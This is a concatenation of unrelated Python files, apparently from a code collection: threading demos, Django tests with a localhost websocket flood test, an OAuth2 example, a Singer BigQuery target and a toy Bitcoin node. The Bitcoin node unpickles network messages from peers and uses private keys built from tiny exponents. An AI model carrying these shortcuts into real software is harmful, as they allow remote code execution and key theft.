#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2013 Jรฉrรฉmie DECOCK (http://www.jdhp.org) # See: # - http://docs.python.org/2/library/threading.html # - http://www.tutorialspoint.com/python/python_multithreading.htm import threading import time def foo(iterations): for i in range(iterations): print threading.currentThread().name, print threading.currentThread().ident, print threading.activeCount(), print threading.enumerate() time.sleep(0.2) def main(): """Main function""" thread1 = threading.Thread(target=foo, args=(10,)) thread2 = threading.Thread(target=foo, args=(15,)) thread1.start() thread2.start() # Let the main thread do something too... for i in range(5): print threading.currentThread().name time.sleep(0.2) # Main thread waits for all threads to complete thread1.join() thread2.join() print "Exiting Main Thread" if __name__ == '__main__': main()
tests.py
import json import ssl from random import randint from random import random from threading import Thread from time import sleep from django.conf import settings from django.test import TestCase from websocket import create_connection # class ModelTest(TestCase): # # def test_gender(self): # user = UserProfile(sex_str='Female') # self.assertEqual(user.sex, 2) # user.sex_str = 'Male' # self.assertEqual(user.sex, 1) # user.sex_str = 'WrongString' # self.assertEqual(user.sex, 0) # # # class RegisterUtilsTest(TestCase): # # def test_check_password(self): # self.assertRaises(ValidationError, check_password, "ag") # self.assertRaises(ValidationError, check_password, "") # self.assertRaises(ValidationError, check_password, " ") # self.assertRaises(ValidationError, check_password, " fs ") # check_password("FineP@ssord") # # def test_send_email(self): # up = UserProfile(username='Test', email='nightmare.quake@mail.ru', sex_str='Mail') # send_email_verification(up, 'Any') # # def test_check_user(self): # self.assertRaises(ValidationError, check_user, "d"*100) # self.assertRaises(ValidationError, check_user, "asdfs,+") # check_user("Fine") # # # class SeleniumBrowserTest(TestCase): # # def test_check_main_page(self): # driver = webdriver.Firefox() # driver.get("localhost:8000") # TODO inject url # assert "chat" in driver.title # elem = driver.find_element_by_id("userNameLabel") # self.assertRegexpMatches(elem.text, "^[a-zA-Z-_0-9]{1,16}$") # driver.close() from chat.global_redis import sync_redis from chat.models import UserProfile from chat.socials import GoogleAuth from chat.tornado.constants import VarNames, Actions class RegisterTest(TestCase): def test_animals_can_speak(self): user_profile = UserProfile( name='test', surname='test', email='asd@mail.ru', username='test' ) gauth = GoogleAuth() gauth.download_http_photo('https://lh4.googleusercontent.com/-CuLSUOTQ4Kw/AAAAAAAAAAI/AAAAAAAAANQ/VlgHrqehE90/s96-c/photo.jpg', user_profile) class WebSocketLoadTest(TestCase): SITE_TO_SPAM = "127.0.0.1:8888" def setUp(self): pass # Room.objects.create(name=ANONYMOUS_REDIS_ROOM) # subprocess.Popen("/usr/bin/redis-server") # thread = Thread(target=call_command, args=('start_tornado',)) # thread.start() def threaded_function(self, session, num): cookies = '{}={}'.format(settings.SESSION_COOKIE_NAME, session) ws = create_connection("wss://{}".format(self.SITE_TO_SPAM), cookie=cookies, sslopt={"cert_reqs": ssl.CERT_NONE}) print("Connected #{} with sessions {}".format(num, session)) for i in range(randint(30, 50)): if i % 10 == 0: print("{}#{} sent {}".format(session, num, i)) sleep(random()) ws.send(json.dumps({ VarNames.CONTENT: "{}".format(i), VarNames.EVENT: Actions.PRINT_MESSAGE, VarNames.ROOM_ID: settings.ALL_ROOM_ID })) # def read_session(self): # with open('sessionsids.txt') as f: # lines =f.read().splitlines() # return lines def read_session(self): return [k for k in sync_redis.keys() if len(k) == 32] def test_simple(self): max_users = 10 for session in self.read_session(): max_users -= 1 if max_users < 0: break for i in range(randint(3, 7)): thread = Thread(target=self.threaded_function, args=(session, i)) thread.start()
resource_owner_grant.py
import logging import os import signal import sys from wsgiref.simple_server import make_server sys.path.insert(0, os.path.abspath(os.path.realpath(__file__) + '/../../../')) from oauth2 import Provider from oauth2.compatibility import json, parse_qs, urlencode from oauth2.error import UserNotAuthenticated from oauth2.grant import ResourceOwnerGrant from oauth2.store.memory import ClientStore, TokenStore from oauth2.tokengenerator import Uuid4TokenGenerator from oauth2.web import ResourceOwnerGrantSiteAdapter from oauth2.web.wsgi import Application from multiprocessing import Process from urllib.request import urlopen from urllib.error import HTTPError logging.basicConfig(level=logging.DEBUG) class ClientApplication(object): """ Very basic application that simulates calls to the API of the oauth2-stateless app. """ client_id = "abc" client_secret = "xyz" token_endpoint = "http://localhost:8081/token" LOGIN_TEMPLATE = """<html> <body> <h1>Test Login</h1> <div style="color: red;"> {failed_message} </div> <form method="POST" name="confirmation_form" action="/request_token"> <div> Username (foo): <input name="username" type="text" /> </div> <div> Password (bar): <input name="password" type="password" /> </div> <div> <input type="submit" value="submit" /> </div> </form> </body> </html>""" SERVER_ERROR_TEMPLATE = """<html> <body> <h1>OAuth2 server responded with an error</h1> Error type: {error_type} Error description: {error_description} </body> </html>""" TOKEN_TEMPLATE = """<html> <body> <div>Access token: {access_token}</div> <div> <a href="/reset">Reset</a> </div> </body> </html>""" def __init__(self): self.token = None self.token_type = "" def __call__(self, env, start_response): if env["PATH_INFO"] == "/login": status, body, headers = self._login(failed=env["QUERY_STRING"] == "failed=1") elif env["PATH_INFO"] == "/": status, body, headers = self._display_token() elif env["PATH_INFO"] == "/request_token": status, body, headers = self._request_token(env) elif env["PATH_INFO"] == "/reset": status, body, headers = self._reset() else: status = "301 Moved" body = "" headers = {"Location": "/"} start_response(status, [(header, val) for header, val in headers.items()]) return [body.encode('utf-8')] def _display_token(self): """ Display token information or redirect to login prompt if none is available. """ if self.token is None: return "301 Moved", "", {"Location": "/login"} return ("200 OK", self.TOKEN_TEMPLATE.format(access_token=self.token["access_token"]), {"Content-Type": "text/html"}) def _login(self, failed=False): """ Login prompt """ if failed: content = self.LOGIN_TEMPLATE.format(failed_message="Login failed") else: content = self.LOGIN_TEMPLATE.format(failed_message="") return "200 OK", content, {"Content-Type": "text/html"} def _request_token(self, env): """ Retrieves a new access token from the OAuth2 server. """ params = {} content = env['wsgi.input'].read(int(env['CONTENT_LENGTH'])) post_params = parse_qs(content) # Convert to dict for easier access for param, value in post_params.items(): decoded_param = param.decode('utf-8') decoded_value = value[0].decode('utf-8') if decoded_param == "username" or decoded_param == "password": params[decoded_param] = decoded_value params["grant_type"] = "password" params["client_id"] = self.client_id params["client_secret"] = self.client_secret # Request an access token by POSTing a request to the auth server. try: token_result = urlopen(self.token_endpoint, urlencode(params).encode('utf-8')) response = token_result.read().decode('utf-8') except HTTPError as he: if he.code == 400: error_body = json.loads(he.read()) body = self.SERVER_ERROR_TEMPLATE.format(error_type=error_body["error"], error_description=error_body["error_description"]) return "400 Bad Request", body, {"Content-Type": "text/html"} if he.code == 401: return "302 Found", "", {"Location": "/login?failed=1"} self.token = json.loads(response) return "301 Moved", "", {"Location": "/"} def _reset(self): self.token = None return "302 Found", "", {"Location": "/login"} class TestSiteAdapter(ResourceOwnerGrantSiteAdapter): def authenticate(self, request, environ, scopes, client): example_user_id = 123 example_ext_data = {} username = request.post_param("username") password = request.post_param("password") # A real world application could connect to a database, try to # retrieve username and password and compare them against the input if username == "foo" and password == "bar": return example_ext_data, example_user_id raise UserNotAuthenticated def run_app_server(): app = ClientApplication() try: httpd = make_server('', 8080, app) print("Starting Client app on http://localhost:8080/...") httpd.serve_forever() except KeyboardInterrupt: httpd.server_close() def run_auth_server(): try: client_store = ClientStore() client_store.add_client(client_id="abc", client_secret="xyz", redirect_uris=[]) token_store = TokenStore() provider = Provider( access_token_store=token_store, auth_code_store=token_store, client_store=client_store, token_generator=Uuid4TokenGenerator()) provider.add_grant(ResourceOwnerGrant(site_adapter=TestSiteAdapter())) app = Application(provider=provider) httpd = make_server('', 8081, app) print("Starting OAuth2 server on http://localhost:8081/...") httpd.serve_forever() except KeyboardInterrupt: httpd.server_close() def main(): auth_server = Process(target=run_auth_server) auth_server.start() app_server = Process(target=run_app_server) app_server.start() print("Visit http://localhost:8080/ in your browser") def sigint_handler(signal, frame): print("Terminating servers...") auth_server.terminate() auth_server.join() app_server.terminate() app_server.join() signal.signal(signal.SIGINT, sigint_handler) if __name__ == "__main__": main()
target_bigquery.py
#!/usr/bin/env python3 import argparse import io import sys import json import logging import collections import threading import http.client import urllib import pkg_resources from jsonschema import validate import singer from oauth2client import tools from tempfile import TemporaryFile from google.cloud import bigquery from google.cloud.bigquery.job import SourceFormat from google.cloud.bigquery import Dataset from google.cloud.bigquery import SchemaField from google.cloud.bigquery import LoadJobConfig from google.api_core import exceptions try: parser = argparse.ArgumentParser(parents=[tools.argparser]) parser.add_argument('-c', '--config', help='Config file', required=True) flags = parser.parse_args() except ImportError: flags = None logging.getLogger('googleapiclient.discovery_cache').setLevel(logging.ERROR) logger = singer.get_logger() SCOPES = ['https://www.googleapis.com/auth/bigquery','https://www.googleapis.com/auth/bigquery.insertdata'] CLIENT_SECRET_FILE = 'client_secret.json' APPLICATION_NAME = 'Singer BigQuery Target' StreamMeta = collections.namedtuple('StreamMeta', ['schema', 'key_properties', 'bookmark_properties']) def emit_state(state): if state is not None: line = json.dumps(state) logger.debug('Emitting state {}'.format(line)) sys.stdout.write("{}\n".format(line)) sys.stdout.flush() def clear_dict_hook(items): return {k: v if v is not None else '' for k, v in items} def define_schema(field, name): schema_name = name schema_type = "STRING" schema_mode = "NULLABLE" schema_description = None schema_fields = () if 'type' not in field and 'anyOf' in field: for types in field['anyOf']: if types['type'] == 'null': schema_mode = 'NULLABLE' else: field = types if isinstance(field['type'], list): if field['type'][0] == "null": schema_mode = 'NULLABLE' else: schema_mode = 'required' schema_type = field['type'][1] else: schema_type = field['type'] if schema_type == "array": schema_type = "RECORD" schema_mode = "REPEATED" if "items" in field: schema_fields = tuple([SchemaField(name, field['items']['type'], "NULLABLE", None, ())]) if schema_type == "object": schema_type = "RECORD" schema_fields = tuple(build_schema(field)) if schema_type == "string": if "format" in field: if field['format'] == "date-time": schema_type = "timestamp" if schema_type == 'number': schema_type = 'FLOAT' return (schema_name, schema_type, schema_mode, schema_description, schema_fields) def build_schema(schema): SCHEMA = [] for key in schema['properties'].keys(): schema_name, schema_type, schema_mode, schema_description, schema_fields = define_schema(schema['properties'][key], key) SCHEMA.append(SchemaField(schema_name, schema_type, schema_mode, schema_description, schema_fields)) return SCHEMA def persist_lines_job(project_id, dataset_id, lines=None): state = None schemas = {} key_properties = {} tables = {} rows = {} errors = {} bigquery_client = bigquery.Client(project=project_id) # try: # dataset = bigquery_client.create_dataset(Dataset(dataset_ref)) or Dataset(dataset_ref) # except exceptions.Conflict: # pass for line in lines: try: msg = singer.parse_message(line) except json.decoder.JSONDecodeError: logger.error("Unable to parse:\n{}".format(line)) raise if isinstance(msg, singer.RecordMessage): if msg.stream not in schemas: raise Exception("A record for stream {} was encountered before a corresponding schema".format(msg.stream)) schema = schemas[msg.stream] validate(msg.record, schema) dat = bytes(str(json.loads(json.dumps(msg.record), object_pairs_hook=clear_dict_hook)) + '\n', 'UTF-8') rows[msg.stream].write(dat) #rows[msg.stream].write(bytes(str(msg.record) + '\n', 'UTF-8')) state = None elif isinstance(msg, singer.StateMessage): logger.debug('Setting state to {}'.format(msg.value)) state = msg.value elif isinstance(msg, singer.SchemaMessage): table = msg.stream schemas[table] = msg.schema key_properties[table] = msg.key_properties #tables[table] = bigquery.Table(dataset.table(table), schema=build_schema(schemas[table])) rows[table] = TemporaryFile(mode='w+b') errors[table] = None # try: # tables[table] = bigquery_client.create_table(tables[table]) # except exceptions.Conflict: # pass elif isinstance(msg, singer.ActivateVersionMessage): # This is experimental and won't be used yet pass else: raise Exception("Unrecognized message {}".format(msg)) for table in rows.keys(): table_ref = bigquery_client.dataset(dataset_id).table(table) SCHEMA = build_schema(schemas[table]) load_config = LoadJobConfig() load_config.schema = SCHEMA load_config.source_format = SourceFormat.NEWLINE_DELIMITED_JSON rows[table].seek(0) bigquery_client.load_table_from_file( rows[table], table_ref, job_config=load_config) # for table in errors.keys(): # if not errors[table]: # print('Loaded {} row(s) into {}:{}'.format(rows[table], dataset_id, table), tables[table].path) # else: # print('Errors:', errors[table], sep=" ") return state def persist_lines_stream(project_id, dataset_id, lines=None): state = None schemas = {} key_properties = {} tables = {} rows = {} errors = {} bigquery_client = bigquery.Client(project=project_id) dataset_ref = bigquery_client.dataset(dataset_id) dataset = Dataset(dataset_ref) try: dataset = bigquery_client.create_dataset(Dataset(dataset_ref)) or Dataset(dataset_ref) except exceptions.Conflict: pass for line in lines: try: msg = singer.parse_message(line) except json.decoder.JSONDecodeError: logger.error("Unable to parse:\n{}".format(line)) raise if isinstance(msg, singer.RecordMessage): if msg.stream not in schemas: raise Exception("A record for stream {} was encountered before a corresponding schema".format(msg.stream)) schema = schemas[msg.stream] validate(msg.record, schema) errors[msg.stream] = bigquery_client.create_rows(tables[msg.stream], [msg.record]) rows[msg.stream] += 1 state = None elif isinstance(msg, singer.StateMessage): logger.debug('Setting state to {}'.format(msg.value)) state = msg.value elif isinstance(msg, singer.SchemaMessage): table = msg.stream schemas[table] = msg.schema key_properties[table] = msg.key_properties tables[table] = bigquery.Table(dataset.table(table), schema=build_schema(schemas[table])) rows[table] = 0 errors[table] = None try: tables[table] = bigquery_client.create_table(tables[table]) except exceptions.Conflict: pass elif isinstance(msg, singer.ActivateVersionMessage): # This is experimental and won't be used yet pass else: raise Exception("Unrecognized message {}".format(msg)) for table in errors.keys(): if not errors[table]: print('Loaded {} row(s) into {}:{}'.format(rows[table], dataset_id, table), tables[table].path) else: print('Errors:', errors[table], sep=" ") return state def collect(): try: version = pkg_resources.get_distribution('target-bigquery').version conn = http.client.HTTPConnection('collector.singer.io', timeout=10) conn.connect() params = { 'e': 'se', 'aid': 'singer', 'se_ca': 'target-bigquery', 'se_ac': 'open', 'se_la': version, } conn.request('GET', '/i?' + urllib.parse.urlencode(params)) conn.getresponse() conn.close() except: logger.debug('Collection request failed') def main(): with open(flags.config) as input: config = json.load(input) if not config.get('disable_collection', False): logger.info('Sending version information to stitchdata.com. ' + 'To disable sending anonymous usage data, set ' + 'the config parameter "disable_collection" to true') threading.Thread(target=collect).start() input = io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8') state = persist_lines_stream(config['project_id'], config['dataset_id'], input) if config.get('stream_data', True) else persist_lines_job(config['project_id'], config['dataset_id'], input) emit_state(state) logger.debug("Exiting normally") if __name__ == '__main__': main()
thread_safe.py
from threading import Lock, Thread class SingletonMeta(type): """ This is a thread-safe implementation of Singleton. """ _instances = {} _lock: Lock = Lock() # use a lock to synchronize threads during first access to the Singleton def __call__(cls, *args, **kwargs): """ Possible changes to the value of the `__init__` argument do not affect the returned instance. """ # Now, imagine that the program has just been launched. Since there's no # Singleton instance yet, multiple threads can simultaneously pass the # previous conditional and reach this point almost at the same time. The # first of them will acquire lock and will proceed further, while the # rest will wait here. with cls._lock: # The first thread to acquire the lock, reaches this conditional, # goes inside and creates the Singleton instance. Once it leaves the # lock block, a thread that might have been waiting for the lock # release may then enter this section. But since the Singleton field # is already initialized, the thread won't create a new object. if cls not in cls._instances: instance = super().__call__(*args, **kwargs) cls._instances[cls] = instance return cls._instances[cls] class Singleton(metaclass=SingletonMeta): value: str = None # use a property to prove that our Singleton really works. def __init__(self, value: str) -> None: self.value = value def some_business_logic(self): pass # TODO Finally, some business logic executed on its single instance. def test_singleton(value: str) -> None: singleton = Singleton(value) print(singleton.value) if __name__ == "__main__": print("If you see the same value, then singleton was reused (yay!)\n" "If you see different values, " "then 2 singletons were created (booo!!)\n\n" "RESULT:\n") process1 = Thread(target=test_singleton, args=("FOO",)) process2 = Thread(target=test_singleton, args=("BAR",)) process1.start() process2.start()
bitcoin_two.py
""" Bitcoin Part 2 * Miner fees Usage: bitcoin.py serve bitcoin.py ping [--node <node>] bitcoin.py tx <from> <to> <amount> [--node <node>] bitcoin.py balance <name> [--node <node>] Options: -h --help Show this screen. --node=<node> Hostname of node [default: node0] """ import uuid, socketserver, socket, sys, argparse, time, os, logging, threading, hashlib, random, re, pickle from docopt import docopt from copy import deepcopy from ecdsa import SigningKey, SECP256k1 PORT = 10000 node = None lock = threading.Lock() mining_interrupt = threading.Event() GET_BLOCKS_CHUNK = 10 BLOCK_SUBSIDY = 50 DIFFICULTY_BITS = 15 POW_TARGET = 2 ** (256 - DIFFICULTY_BITS) HALVENING_INTERVAL = 60 * 24 # daily (assuming 1 minute blocks) SATOSHIS_PER_COIN = 100_000_000 logging.basicConfig(level="INFO", format='%(threadName)-6s | %(message)s') logger = logging.getLogger(__name__) def spend_message(tx, index): outpoint = tx.tx_ins[index].outpoint return serialize(outpoint) + serialize(tx.tx_outs) def total_work(blocks): return len(blocks) def tx_in_to_tx_out(tx_in, blocks): for block in blocks: for tx in block.txns: if tx.id == tx_in.tx_id: return tx.tx_outs[tx_in.index] class Tx: def __init__(self, id, tx_ins, tx_outs): self.id = id self.tx_ins = tx_ins self.tx_outs = tx_outs def sign_input(self, index, private_key): message = spend_message(self, index) signature = private_key.sign(message) self.tx_ins[index].signature = signature def verify_input(self, index, public_key): tx_in = self.tx_ins[index] message = spend_message(self, index) return public_key.verify(tx_in.signature, message) @property def is_coinbase(self): return self.tx_ins[0].tx_id is None def __eq__(self, other): return self.id == other.id class TxIn: def __init__(self, tx_id, index, signature=None): self.tx_id = tx_id self.index = index self.signature = signature @property def outpoint(self): return (self.tx_id, self.index) class TxOut: def __init__(self, tx_id, index, amount, public_key): self.tx_id = tx_id self.index = index self.amount = amount self.public_key = public_key @property def outpoint(self): return (self.tx_id, self.index) class Block: def __init__(self, txns, prev_id, nonce): self.txns = txns self.prev_id = prev_id self.nonce = nonce @property def header(self): return serialize(self) @property def id(self): return hashlib.sha256(self.header).hexdigest() @property def proof(self): return int(self.id, 16) def __eq__(self, other): return self.id == other.id def __repr__(self): prev_id = self.prev_id[:10] if self.prev_id else None return f"Block(prev_id={prev_id}... id={self.id[:10]}...)" class Node: def __init__(self, address): self.blocks = [] self.branches = [] self.utxo_set = {} self.mempool = [] self.peers = [] self.pending_peers = [] self.address = address def connect(self, peer): if peer not in self.peers and peer != self.address: logger.info(f'(handshake) Sent "connect" to {peer[0]}') try: send_message(peer, "connect", None) self.pending_peers.append(peer) except: logger.info(f'(handshake) Node {peer[0]} offline') def sync(self): blocks = self.blocks[-GET_BLOCKS_CHUNK:] block_ids = [block.id for block in blocks] for peer in self.peers: send_message(peer, "sync", block_ids) def fetch_utxos(self, public_key): return [tx_out for tx_out in self.utxo_set.values() if tx_out.public_key == public_key] def connect_tx(self, tx): # Remove utxos that were just spent if not tx.is_coinbase: for tx_in in tx.tx_ins: del self.utxo_set[tx_in.outpoint] # Save utxos which were just created for tx_out in tx.tx_outs: self.utxo_set[tx_out.outpoint] = tx_out # Clean up mempool if tx in self.mempool: self.mempool.remove(tx) def disconnect_tx(self, tx): # Add back UTXOs spent by this transaction if not tx.is_coinbase: for tx_in in tx.tx_ins: tx_out = tx_in_to_tx_out(tx_in, self.blocks) self.utxo_set[tx_out.outpoint] = tx_out # Remove UTXOs created by this transaction for tx_out in tx.tx_outs: del self.utxo_set[tx_out.outpoint] # Put it back in mempool if tx not in self.mempool and not tx.is_coinbase: self.mempool.append(tx) logging.info(f"Added tx to mempool") def fetch_balance(self, public_key): # Fetch utxos associated with this public key utxos = self.fetch_utxos(public_key) # Sum the amounts return sum([tx_out.amount for tx_out in utxos]) def validate_tx(self, tx): in_sum = 0 out_sum = 0 for index, tx_in in enumerate(tx.tx_ins): # TxIn spending an unspent output assert tx_in.outpoint in self.utxo_set # Grab the tx_out tx_out = self.utxo_set[tx_in.outpoint] # Verify signature using public key of TxOut we're spending public_key = tx_out.public_key tx.verify_input(index, public_key) # Sum up the total inputs amount = tx_out.amount in_sum += amount for tx_out in tx.tx_outs: # Sum up the total outpouts out_sum += tx_out.amount # Check no value created or destroyed assert in_sum >= out_sum def validate_coinbase(self, block): tx = block.txns[0] assert len(tx.tx_ins) == len(tx.tx_outs) == 1 fees = self.calculate_fees(block.txns[1:]) assert tx.tx_outs[0].amount == self.get_block_subsidy() + fees def handle_tx(self, tx): if tx not in self.mempool: self.validate_tx(tx) self.mempool.append(tx) # Propogate transaction for peer in self.peers: send_message(peer, "tx", tx) def validate_block(self, block, validate_txns=False): assert block.proof < POW_TARGET, "Insufficient Proof-of-Work" if validate_txns: # Validate coinbase separately self.validate_coinbase(block) # Check the transactions are valid for tx in block.txns[1:]: self.validate_tx(tx) def find_in_branch(self, block_id): for branch_index, branch in enumerate(self.branches): for height, block in enumerate(branch): if block.id == block_id: return branch, branch_index, height return None, None, None def handle_block(self, block): # Ignore if we've already seen it found_in_chain = block in self.blocks found_in_branch = self.find_in_branch(block.id)[0] is not None if found_in_chain or found_in_branch: raise Exception("Received duplicate block") # Look up previous block branch, branch_index, height = self.find_in_branch(block.prev_id) # Conditions extends_chain = block.prev_id == self.blocks[-1].id forks_chain = not extends_chain and \ block.prev_id in [block.id for block in self.blocks] extends_branch = branch and height == len(branch) - 1 forks_branch = branch and height != len(branch) - 1 # Always validate, but only validate transactions if extending chain self.validate_block(block, validate_txns=extends_chain) # Handle each condition separately if extends_chain: self.connect_block(block) logger.info(f"Extended chain to height {len(self.blocks)-1}") elif forks_chain: self.branches.append([block]) logger.info(f"Created branch {len(self.branches)}") elif extends_branch: branch.append(block) logger.info(f"Extended branch {branch_index} to {len(branch)}") # Reorg if branch now has more work than main chain chain_ids = [block.id for block in self.blocks] fork_height = chain_ids.index(branch[0].prev_id) chain_since_fork = self.blocks[fork_height+1:] if total_work(branch) > total_work(chain_since_fork): logger.info(f"Reorging to branch {branch_index}") self.reorg(branch, branch_index) elif forks_branch: self.branches.append(branch[:height+1] + [block]) logger.info(f"Created branch {len(self.branches)-1} to height {len(self.branches[-1]) - 1}") else: self.sync() raise Exception("Encountered block with unknown parent. Syncing.") # Block propogation for peer in self.peers: disrupt(func=send_message, args=[peer, "blocks", [block]]) def reorg(self, branch, branch_index): # Disconnect to fork block, preserving as a branch disconnected_blocks = [] while self.blocks[-1].id != branch[0].prev_id: block = self.blocks.pop() for tx in block.txns: self.disconnect_tx(tx) disconnected_blocks.insert(0, block) # Replace branch with newly disconnected blocks self.branches[branch_index] = disconnected_blocks # Connect branch, rollback if error encountered for block in branch: try: self.validate_block(block, validate_txns=True) self.connect_block(block) except: self.reorg(disconnected_blocks, branch_index) logger.info(f"Reorg failed") return def connect_block(self, block): # Add the block to our chain self.blocks.append(block) # If they're all good, update UTXO set / mempool for tx in block.txns: self.connect_tx(tx) def get_block_subsidy(self): halvings = len(self.blocks) // HALVENING_INTERVAL return (50 * SATOSHIS_PER_COIN) // (2 ** halvings) def calculate_fees(self, txns): fees = 0 for txn in txns: inputs = outputs = 0 for tx_in in txn.tx_ins: inputs += self.utxo_set[tx_in.outpoint].amount for tx_out in txn.tx_outs: outputs += tx_out.amount fees += inputs - outputs return fees def prepare_simple_tx(utxos, sender_private_key, recipient_public_key, amount, fee): sender_public_key = sender_private_key.get_verifying_key() # Construct tx.tx_outs tx_ins = [] tx_in_sum = 0 for tx_out in utxos: tx_ins.append(TxIn(tx_id=tx_out.tx_id, index=tx_out.index, signature=None)) tx_in_sum += tx_out.amount if tx_in_sum > amount + fee: break # Make sure sender can afford it assert tx_in_sum >= amount + fee # Construct tx.tx_outs tx_id = uuid.uuid4() change = tx_in_sum - (amount + fee) tx_outs = [ TxOut(tx_id=tx_id, index=0, amount=amount, public_key=recipient_public_key), TxOut(tx_id=tx_id, index=1, amount=change, public_key=sender_public_key), ] # Construct tx and sign inputs tx = Tx(id=tx_id, tx_ins=tx_ins, tx_outs=tx_outs) for i in range(len(tx.tx_ins)): tx.sign_input(i, sender_private_key) return tx def prepare_coinbase(public_key, block_subsidy, tx_id=None): if tx_id is None: tx_id = uuid.uuid4() return Tx( id=tx_id, tx_ins=[ TxIn(None, None, None), ], tx_outs=[ TxOut(tx_id=tx_id, index=0, amount=block_subsidy, public_key=public_key), ], ) ########## # Mining # ########## def mine_block(block): while block.proof >= POW_TARGET: # TODO: accept interrupts here if tip changes if mining_interrupt.is_set(): logger.info("Mining interrupted") mining_interrupt.clear() return block.nonce += 1 return block def mine_forever(public_key): logging.info("Starting miner") while True: block_subsidy = node.get_block_subsidy() fees = node.calculate_fees(node.mempool) coinbase = prepare_coinbase(public_key, block_subsidy + fees) unmined_block = Block( txns=[coinbase] + node.mempool, prev_id=node.blocks[-1].id, nonce=random.randint(0, 1000000000), ) mined_block = mine_block(unmined_block) if mined_block: logger.info("") logger.info("Mined a block") with lock: node.handle_block(mined_block) def mine_genesis_block(node, public_key): coinbase = prepare_coinbase(public_key, node.get_block_subsidy(), tx_id="abc123") unmined_block = Block(txns=[coinbase], prev_id=None, nonce=0) mined_block = mine_block(unmined_block) node.blocks.append(mined_block) node.connect_tx(coinbase) return mined_block ############## # Networking # ############## def serialize(coin): return pickle.dumps(coin) def deserialize(serialized): return pickle.loads(serialized) def read_message(s): message = b'' # Our protocol is: first 4 bytes signify message length raw_message_length = s.recv(4) or b"\x00" message_length = int.from_bytes(raw_message_length, 'big') while message_length > 0: chunk = s.recv(1024) message += chunk message_length -= len(chunk) return deserialize(message) def prepare_message(command, data): message = { "command": command, "data": data, } serialized_message = serialize(message) length = len(serialized_message).to_bytes(4, 'big') return length + serialized_message def disrupt(func, args): # Simulate packet loss if random.randint(0, 10) != 0: # Simulate network latency threading.Timer(random.random(), func, args).start() class TCPHandler(socketserver.BaseRequestHandler): def get_canonical_peer_address(self): ip = self.client_address[0] try: hostname = socket.gethostbyaddr(ip) hostname = re.search(r"_(.*?)_", hostname[0]).group(1) except: hostname = ip return (hostname, PORT) def respond(self, command, data): response = prepare_message(command, data) return self.request.sendall(response) def handle(self): message = read_message(self.request) command = message["command"] data = message["data"] peer = self.get_canonical_peer_address() # Handshake / Authentication if command == "connect": if peer not in node.pending_peers and peer not in node.peers: node.pending_peers.append(peer) logger.info(f'(handshake) Accepted "connect" request from "{peer[0]}"') send_message(peer, "connect-response", None) elif command == "connect-response": if peer in node.pending_peers and peer not in node.peers: node.pending_peers.remove(peer) node.peers.append(peer) logger.info(f'(handshake) Connected to "{peer[0]}"') send_message(peer, "connect-response", None) # Request their peers send_message(peer, "peers", None) # else: # assert peer in node.peers, \ # f"Rejecting {command} from unconnected {peer[0]}" # Business Logic if command == "peers": send_message(peer, "peers-response", node.peers) if command == "peers-response": for peer in data: node.connect(peer) if command == "ping": self.respond(command="pong", data="") if command == "sync": # Find our most recent block peer doesn't know about, # But which build off a block they do know about. peer_block_ids = data for block in node.blocks[::-1]: if block.id not in peer_block_ids \ and block.prev_id in peer_block_ids: height = node.blocks.index(block) blocks = node.blocks[height:height+GET_BLOCKS_CHUNK] send_message(peer, "blocks", blocks) logger.info('Served "sync" request') return logger.info('Could not serve "sync" request') if command == "blocks": for block in data: try: with lock: node.handle_block(block) mining_interrupt.set() except: logger.info("Rejected block") if len(data) == GET_BLOCKS_CHUNK: node.sync() if command == "tx": node.handle_tx(data) if command == "balance": balance = node.fetch_balance(data) self.respond(command="balance-response", data=balance) if command == "utxos": utxos = node.fetch_utxos(data) self.respond(command="utxos-response", data=utxos) def external_address(node): i = int(node[-1]) port = PORT + i return ('localhost', port) def serve(): logger.info("Starting server") server = socketserver.TCPServer(("0.0.0.0", PORT), TCPHandler) server.serve_forever() def send_message(address, command, data, response=False): message = prepare_message(command, data) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(address) s.sendall(message) if response: return read_message(s) ####### # CLI # ####### def lookup_private_key(name): exponent = { "alice": 1, "bob": 2, "node0": 3, "node1": 4, "node2": 5 }[name] return SigningKey.from_secret_exponent(exponent, curve=SECP256k1) def lookup_public_key(name): return lookup_private_key(name).get_verifying_key() def main(args): if args["serve"]: threading.current_thread().name = "main" name = os.environ["NAME"] duration = 10 * ["node0", "node1", "node2"].index(name) time.sleep(duration) global node node = Node(address=(name, PORT)) # Alice is Satoshi! mine_genesis_block(node, lookup_public_key("alice")) # Start server thread server_thread = threading.Thread(target=serve, name="server") server_thread.start() # Join the network peers = [(p, PORT) for p in os.environ['PEERS'].split(',')] for peer in peers: node.connect(peer) # Wait for peer connections time.sleep(1) # Do initial block download node.sync() # Wait for IBD to finish time.sleep(1) # Start miner thread miner_public_key = lookup_public_key(name) miner_thread = threading.Thread(target=mine_forever, args=[miner_public_key], name="miner") miner_thread.start() elif args["ping"]: address = external_address(args["--node"]) send_message(address, "ping", "") elif args["balance"]: public_key = lookup_public_key(args["<name>"]) address = external_address(args["--node"]) response = send_message(address, "balance", public_key, response=True) print(response["data"]) elif args["tx"]: # Grab parameters sender_private_key = lookup_private_key(args["<from>"]) sender_public_key = sender_private_key.get_verifying_key() recipient_private_key = lookup_private_key(args["<to>"]) recipient_public_key = recipient_private_key.get_verifying_key() amount = int(args["<amount>"]) address = external_address(args["--node"]) # Fetch utxos available to spend response = send_message(address, "utxos", sender_public_key, response=True) utxos = response["data"] # Prepare transaction tx = prepare_simple_tx(utxos, sender_private_key, recipient_public_key, amount, fee=100) # send to node send_message(address, "tx", tx) else: print("Invalid command") if __name__ == '__main__': main(docopt(__doc__))
tasks.py
